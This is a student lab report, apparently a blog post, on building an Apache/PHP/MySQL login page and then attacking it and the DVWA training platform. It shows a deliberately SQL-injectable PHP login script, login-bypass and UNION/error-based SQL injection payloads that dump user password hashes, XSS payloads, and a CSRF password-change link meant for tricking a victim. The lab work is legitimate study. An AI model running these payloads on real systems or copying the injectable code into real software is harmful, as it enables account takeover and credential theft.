20234320 2025-2026-1 《网络与系统攻防技术》实验八实验报告

20234320 2025-2026-1 《网络与系统攻防技术》实验八实验报告

一、实验内容

1.Web 服务环境搭建:完成Apache服务器的安装、启动与停止操作,掌握基础 Web 服务的部署与运维。
2.前端技术实践:理解HTML页面结构,掌握表单的设计与使用,区分 GET与POST方法的特性,编写包含用户名、密码输入框及登录按钮的表单页面,掌握JavaScript基础语法与DOM操作能力,实现用户名/密码的验证规则。
3.数据库与后端交互:学习 MySQL 数据库的基本操作,构建存储用户账号密码的基础数据结构;编写PHP网页,通过MySQLi或PDO实现与数据库的连接,完成从前端到后端数据库的交互流程。
4.Web安全漏洞测试:针对PHP用户认证页面,进行SQL注入;进行XSS攻击测试,验证跨站脚本攻击的可行性。
5.专业安全平台实践:安装DVWA或WebGoat等漏洞测试平台,在受控环境中完成SQL注入、XSS、CSRF等典型Web攻击实验,系统掌握各类攻击的实施方式、防御手段及Web安全防护的核心思路。

二、实验目的

通过搭建Web应用环境,实践前后端开发,并深入理解SQL注入、XSS等常见Web安全漏洞的原理与防护方法。

三、实验环境

安装Kali镜像的VMware虚拟机
image

四、实验过程

4.1 Web前端HTML

Kali自带Apache,无需额外安装,先使用命令systemctl status apache2.service确认Apache状态
image
发现服务未开启,输入命令systemctl start apache2启动Apache服务,再次输入systemctl status apache2.service确认Apache状态,可以看到服务正常开启
image
打开浏览器,输入localhost,可以看到Apache的欢迎页面,说明Apache Web服务器启动成功。

image

HTML
HTML(超文本标记语言)是用于创建和组织网页内容的标记语言,是现代网页设计的基础。它通过标签定义网页的结构、布局和内容,如标题、段落、图像、链接等,使浏览器能正确解析和显示页面。

表单
表单是HTML页面上用于收集用户输入的元素,用户通过表单填写数据(如文本、选择等),这些数据随后提交到服务器进行处理。表单包含输入字段(如文本域、单选按钮、复选框等)和提交按钮,通过form标签定义。

GET方法
GET是HTTP请求方法之一,用于从服务器获取数据。其特点是:
请求参数显示在地址栏(URL中)
参数长度有限制
数据不安全(容易被记录、缓存或分享)
适合用于搜索、查询等不修改服务器数据的操作

POST方法
POST是HTTP请求方法之一,用于向服务器提交数据。其特点:
请求参数不显示在地址栏,而是封装在请求体中
参数长度无限制
相对更安全(数据不会暴露在URL中)
适合用于表单提交、用户注册、登录等需要修改服务器数据的操作

进入当前用户的/var/www/html目录下,新建一个html文件,使用命令vi 20234320lzl.html
输入以下内容:

点击查看代码
<!DOCTYPE html>
<html lang="zh-CN">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>用户登录</title>
    <style>
        * {
            margin: 0;
            padding: 0;
            box-sizing: border-box;
        }

        body {
            font-family: 'Arial', sans-serif;
            background: linear-gradient(135deg, #667eea 0%, #764ba2 100%);
            height: 100vh;
            display: flex;
            justify-content: center;
            align-items: center;
        }

        .login-container {
            background: white;
            padding: 40px;
            border-radius: 10px;
            box-shadow: 0 15px 35px rgba(0, 0, 0, 0.1);
            width: 100%;
            max-width: 400px;
        }

        .login-title {
            text-align: center;
            margin-bottom: 30px;
            color: #333;
            font-size: 24px;
        }

        .form-group {
            margin-bottom: 20px;
        }

        .form-group label {
            display: block;
            margin-bottom: 8px;
            color: #555;
            font-weight: bold;
        }

        .form-group input {
            width: 100%;
            padding: 12px;
            border: 2px solid #ddd;
            border-radius: 5px;
            font-size: 16px;
            transition: border-color 0.3s;
        }

        .form-group input:focus {
            outline: none;
            border-color: #667eea;
        }

        .login-btn {
            width: 100%;
            padding: 12px;
            background: linear-gradient(135deg, #667eea 0%, #764ba2 100%);
            color: white;
            border: none;
            border-radius: 5px;
            font-size: 16px;
            cursor: pointer;
            transition: transform 0.2s, box-shadow 0.2s;
        }

        .login-btn:hover {
            transform: translateY(-2px);
            box-shadow: 0 5px 15px rgba(102, 126, 234, 0.4);
        }

        .error-message {
            color: #e74c3c;
            font-size: 14px;
            margin-top: 5px;
            display: none;
        }

        .success-message {
            color: #27ae60;
            font-size: 14px;
            margin-top: 10px;
            text-align: center;
            display: none;
        }

        .loading {
            display: none;
            text-align: center;
            margin-top: 10px;
        }

        .spinner {
            border: 2px solid #f3f3f3;
            border-top: 2px solid #667eea;
            border-radius: 50%;
            width: 20px;
            height: 20px;
            animation: spin 1s linear infinite;
            display: inline-block;
            margin-right: 10px;
        }

        @keyframes spin {
            0% { transform: rotate(0deg); }
            100% { transform: rotate(360deg); }
        }

        .register-link {
            text-align: center;
            margin-top: 20px;
            color: #666;
        }

        .register-link a {
            color: #667eea;
            text-decoration: none;
        }

        .register-link a:hover {
            text-decoration: underline;
        }
    </style>
</head>
<body>
    <div class="login-container">
        <h2 class="login-title">用户登录</h2>
        <form id="loginForm" method="POST" action="/login">
            <div class="form-group">
                <label for="username">用户名</label>
                <input type="text" id="username" name="username" placeholder="请输入用户名" required>
                <div id="usernameError" class="error-message">用户名不能为空</div>
            </div>
            <div class="form-group">
                <label for="password">密码</label>
                <input type="password" id="password" name="password" placeholder="请输入密码" required>
                <div id="passwordError" class="error-message">密码不能为空</div>
            </div>
            <button type="submit" class="login-btn">登录</button>
            <div id="loading" class="loading">
                <span class="spinner"></span>正在登录...
            </div>
            <div id="successMessage" class="success-message">登录成功!</div>
            <div id="errorMessage" class="error-message">登录失败,请检查用户名和密码</div>
        </form>
        <div class="register-link">
            还没有账号?<a href="#" onclick="showRegister()">立即注册</a>
        </div>
    </div>

    <script>
        document.getElementById('loginForm').addEventListener('submit', function(e) {
            e.preventDefault();
            
            const username = document.getElementById('username').value;
            const password = document.getElementById('password').value;
            const usernameError = document.getElementById('usernameError');
            const passwordError = document.getElementById('passwordError');
            const successMessage = document.getElementById('successMessage');
            const errorMessage = document.getElementById('errorMessage');
            const loading = document.getElementById('loading');
            
            // 隐藏所有消息
            usernameError.style.display = 'none';
            passwordError.style.display = 'none';
            successMessage.style.display = 'none';
            errorMessage.style.display = 'none';
            loading.style.display = 'none';
            
            let isValid = true;
            
            // 验证用户名
            if (!username) {
                usernameError.style.display = 'block';
                isValid = false;
            } else if (username.length < 3) {
                usernameError.textContent = '用户名至少需要3个字符';
                usernameError.style.display = 'block';
                isValid = false;
            }
            
            // 验证密码
            if (!password) {
                passwordError.style.display = 'block';
                isValid = false;
            } else if (password.length < 6) {
                passwordError.textContent = '密码至少需要6个字符';
                passwordError.style.display = 'block';
                isValid = false;
            }
            
            if (isValid) {
                // 显示加载状态
                loading.style.display = 'block';
                
                // 使用fetch API发送POST请求
                fetch('/login', {
                    method: 'POST',
                    headers: {
                        'Content-Type': 'application/x-www-form-urlencoded',
                    },
                    body: `username=${encodeURIComponent(username)}&password=${encodeURIComponent(password)}`
                })
                .then(response => {
                    if (response.ok || response.status === 401) {
                        return response.json();
                    }
                    throw new Error('网络响应错误');
                })
                .then(data => {
                    loading.style.display = 'none';
                    
                    if (data.success) {
                        successMessage.style.display = 'block';
                        // 登录成功后的处理,比如跳转到主页
                        setTimeout(() => {
                            window.location.href = '/dashboard';
                        }, 1500);
                    } else {
                        errorMessage.textContent = data.message || '登录失败,请检查用户名和密码';
                        errorMessage.style.display = 'block';
                    }
                })
                .catch(error => {
                    loading.style.display = 'none';
                    errorMessage.textContent = '网络错误,请稍后重试';
                    errorMessage.style.display = 'block';
                    console.error('登录错误:', error);
                });
            }
        });
        
        function showRegister() {
            alert('注册功能尚未实现,这里可以跳转到注册页面');
        }
        
        // 实时验证用户名
        document.getElementById('username').addEventListener('blur', function() {
            const username = this.value;
            const error = document.getElementById('usernameError');
            if (username && username.length < 3) {
                error.textContent = '用户名至少需要3个字符';
                error.style.display = 'block';
            }
        });
        
        // 实时验证密码
        document.getElementById('password').addEventListener('blur', function() {
            const password = this.value;
            const error = document.getElementById('passwordError');
            if (password && password.length < 6) {
                error.textContent = '密码至少需要6个字符';
                error.style.display = 'block';
            }
        });
    </script>
</body>
</html>

页面效果如图
image

4.2 Web前端JavaScript

4.2.1 开发前端代码

JavaScript(简称JS)是Web开发三大基石之一,是一种轻量级解释型脚本语言,核心用于为静态网页添加动态交互行为(如表单验证、按钮点击反馈、轮播图动画、异步数据加载等),无需编译可直接在浏览器内置引擎中逐行执行,也能通过Node.js扩展到服务器端实现后端开发;它具备弱类型、动态类型特性,语法灵活且支持面向对象与函数式编程。

在原HTML上加入JavaScript对用户输入进行验证,添加的JavaScript代码如下:
image
网页的效果如下,密码长度不能少于6个字符,密码必须包含字母、数字和特殊字符中的两种:
image

image

4.2.2 执行注入攻击

在用户名处输入<img src=x onerror="alert('JavaScriptInjectionSucceed.')"> ,这段代码会尝试加载一个名为x的图片,由于这个图片不存在会触发加载错误,然后执行JavaScript代码
image
在用户名处输入<b>恶意用户名</b>,成功回显被加粗的恶意用户名
image

4.3 Web后端MySQL基础

image
kali中自带了mysql服务,使用systemctl start mysql打开MySQL服务,systemctl status mysql确认服务状态,如图所示
image

输入以下命令完成建库、创建用户等操作

点击查看代码
mysql
-- 创建数据库
CREATE DATABASE 20232304db;
-- 使用数据库
USE 20234320db;
-- 创建用户
CREATE USER 'lzl' IDENTIFIED BY '20204320lzl';
-- 授予用户权限
GRANT ALL PRIVILEGES ON 20234320db.* TO 'lzl';
FLUSH PRIVILEGES;
-- 修改用户密码
ALTER USER 'lzl' IDENTIFIED BY '20204320';
-- 创建表
CREATE TABLE testtable (
    id INT AUTO_INCREMENT PRIMARY KEY,
    name VARCHAR(255) NOT NULL,
    pwd VARCHAR(255) NOT NULL
);
-- 插入数据
INSERT INTO testtable (name, pwd) VALUES ('luozilin', '20234320');
-- 查看表中所有内容
SELECT * FROM testtable;

运行结果如图所示:

image

4.4 Web后端编写PHP网页

kali预装了php,使用命令which php查看php所在位置
image

创建一个php文件,通过以下的PHP代码来实现数据库连接和用户认证

点击查看代码
<?php
$host = 'localhost';
$dbname = '20234320db';
$user = 'lzl';
$password = '20234320';
 
//创建数据库连接
$conn = new mysqli($host, $user, $password, $dbname);
 
//检查连接是否成功
if ($conn->connect_error) {
    die("数据库连接失败: " . $conn->connect_error);
}
 
//获取POST数据
$username = $_POST['username'];
$password = $_POST['password'];
 
//使用查询语句进行查询
$sql = "SELECT * FROM testtable WHERE name='$username' AND pwd='$password'";  
$result = $conn->query($sql);
 
//检查是否有匹配的记录
if ($result->num_rows > 0) {
    echo "欢迎登录成功: " . $username . "!";
} else {
    echo "用户名或密码错误";
}
 
//关闭结果集和预处理语句
$result->close();
$stmt->close();
 
//关闭数据库连接
$conn->close();
?>


在之前的前端代码中将登录按钮的action改为执行该php文件,如图所示:
image

之后尝试在前端登录,如图所示:
image
image

4.5 SQL注入与XSS注入

实现SQL注入,只需要随机输入用户名,密码输入' OR '1'='1即可成功登录,如图所示:
image
由于数据库中并没有111这个用户,所以判定SQL注入成功。
在用户名中输入<img src=x onerror=alert("XSSInjectedSucceed")>,密码输入' OR '1'='1,即可实现XSS攻击,如图所示:
image
页面出现alert弹窗提示,XSS注入成功。

4.6 安装DVWA或WebGoat平台,并完成SQL注入,XSS,CSRF攻击

这里选择DVWA平台,安装DVWA参考kali-2023.1安装DVWA靶场

image

4.6.1 CSRF

网站的本意是让用户在网站里更改密码,更改密码成功后url为
http://127.0.0.1/dvwa/vulnerabilities/csrf/?password_new=12345&password_conf=12345&Change=Change#
可以分析出password_new是用户输入的密码,password_conf是用户确认的密码,在网站上输入的信息会通过url进行传输执行,如果我能控制url栏里传入的参数,就能够不在网站内执行更改密码
image

更改url的参数:
http://127.0.0.1/dvwa/vulnerabilities/csrf/?password_new=456789&password_conf=456789&Change=Change#

访问以上url后,通过验证页面验证密码是否成功修改,结果无误
image

那么只要让别人点击这个链接,就能悄悄修改他的密码了,因为原链接过于直白,所以将其转换为短链接,然后欺骗收攻击者点击即可
image

4.6.2 sql注入

因为url上面没有提交的信息,所以应该是用的POST表单,这里先看一下是什么类型的注入
1 and 1=2
1 and 1=1
image

image
通过这一步可以得知,应该是数字型的注入

现在用order by判断字段数,n从3开始,因为字段数肯定大于等于2
1 order by 3
image
从这里可以看到,字段数小于3,那应该就只有两个字段了

通过联合注入判断会显点
1 union select 1,2
image

获取数据库的库名
1 union select 1,database()
image
数据库名为dvwa

获取数据库的表名
1 union select 1,group_concat(table_name) from information_schema.tables where table_schema=database()
information_schema.tables是MySQL的系统表,存储了所有数据库的表结构元数据(包括表名、所属数据库等)。
table_name:information_schema.tables中的字段,代表表的名称。
table_schema=database():筛选条件。database()是MySQL的内置函数,返回当前正在使用的数据库名称。
group_concat(table_name):将查询到的所有表名拼接成一个字符串
image
数据库一共有users、guestbook以及两张log表

爆破users的字段名
1 and 1=2 union select 1,concat((select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name=0x7573657273 ),floor(rand(0)*2))x from information_schema.tables group by x
MySQL执行group by时,会创建临时表存储分组结果,由于floor(rand(0)*2)的序列固定,且information_schema.tables数据量足够大,在多次计算x时,会出现“计算出的x值已存在于临时表中”的情况,此时MySQL会抛出错误,通过报错信息,获取当前数据库中users表的所有列名
image

查询各用户的用户名和密码
1 and 1=2 union select 1,concat((select group_concat(user_id,user,password) from users),floor(rand(0)*2))x from information_schema.tables group by x
image

因为密码是128bit长度,故尝试使用MD5进行破解,发现确实是MD5:
image
admin的密码为password

4.6.3 XSS(DOM)

观察界面,当选择不同的标签时,URL栏中的default也会发生变化
image
default有可能是个传参点

传入xss代码<script>alert(1)</script>
image

4.6.4 XSS(Reflected)

仍然通过url传参
image

尝试传入xss代码<script>alert(1)</script>,成功执行
image

4.6.5 XSS(Stored)

image
发现输入的内容被进行了存储

尝试在留言处输入代码<script>alert(1)</script>,成功执行
image

五、问题及解决方案

问题:前端页面无法正常连接php文件,服务器无法返回php文件的解析结果,导致每次调用时浏览器会提示用编辑器打开
解决方案:php文件权限有问题,因为该文件是我在物理机上编写好之后复制到kali中去的,故对应用户组无执行权限,Apache服务器无法正常解析文件返回给浏览器。后续通过chomd a+x 777 login.php给所有用户可执行权限,服务器可以正常解析该php文件。

六、学习感悟与思考

本次实验以“Web应用全流程搭建与安全攻防”为核心,通过搭建Apache+HTML/JS+PHP+MySQL架构网站并开展攻防测试,我掌握了Web技术栈的协同逻辑,更上手实践完成了整个web攻击流程。

实验让我具象化理解了B/S架构的分层职责,前端以HTML构结构、JS做验证,是交互载体;Apache作为Web服务层,承担请求调度职责;PHP实现后端逻辑,是数据处理核心;MySQL负责数据存储,提供稳定支撑。数据流转形成闭环:前端收集并验证数据后通过POST提交至Apache,由PHP调用MySQL完成校验并回显结果,这让我认识到各层协同中任何一层的缺陷都可能成为安全突破口。Web安全的本质是理清信任逻辑,通过隔离数据与逻辑、分离文本与代码、拆分身份与授权,要努力构建“无信任假设”的防护体系。

相比起之前刷的ctf题目,这次DVWA靶场给我的启发也很多,他不像很多ctf题目把很多攻击技术全部杂糅在一起,而是通过分类分级的方式,让我快速了解一种攻击的思路和总体技术,是一种很好的掌握web攻防技术的方式,以后要多练。

posted @ 2025-12-06 19:11  linlinluo  阅读(0)  评论(0)    收藏  举报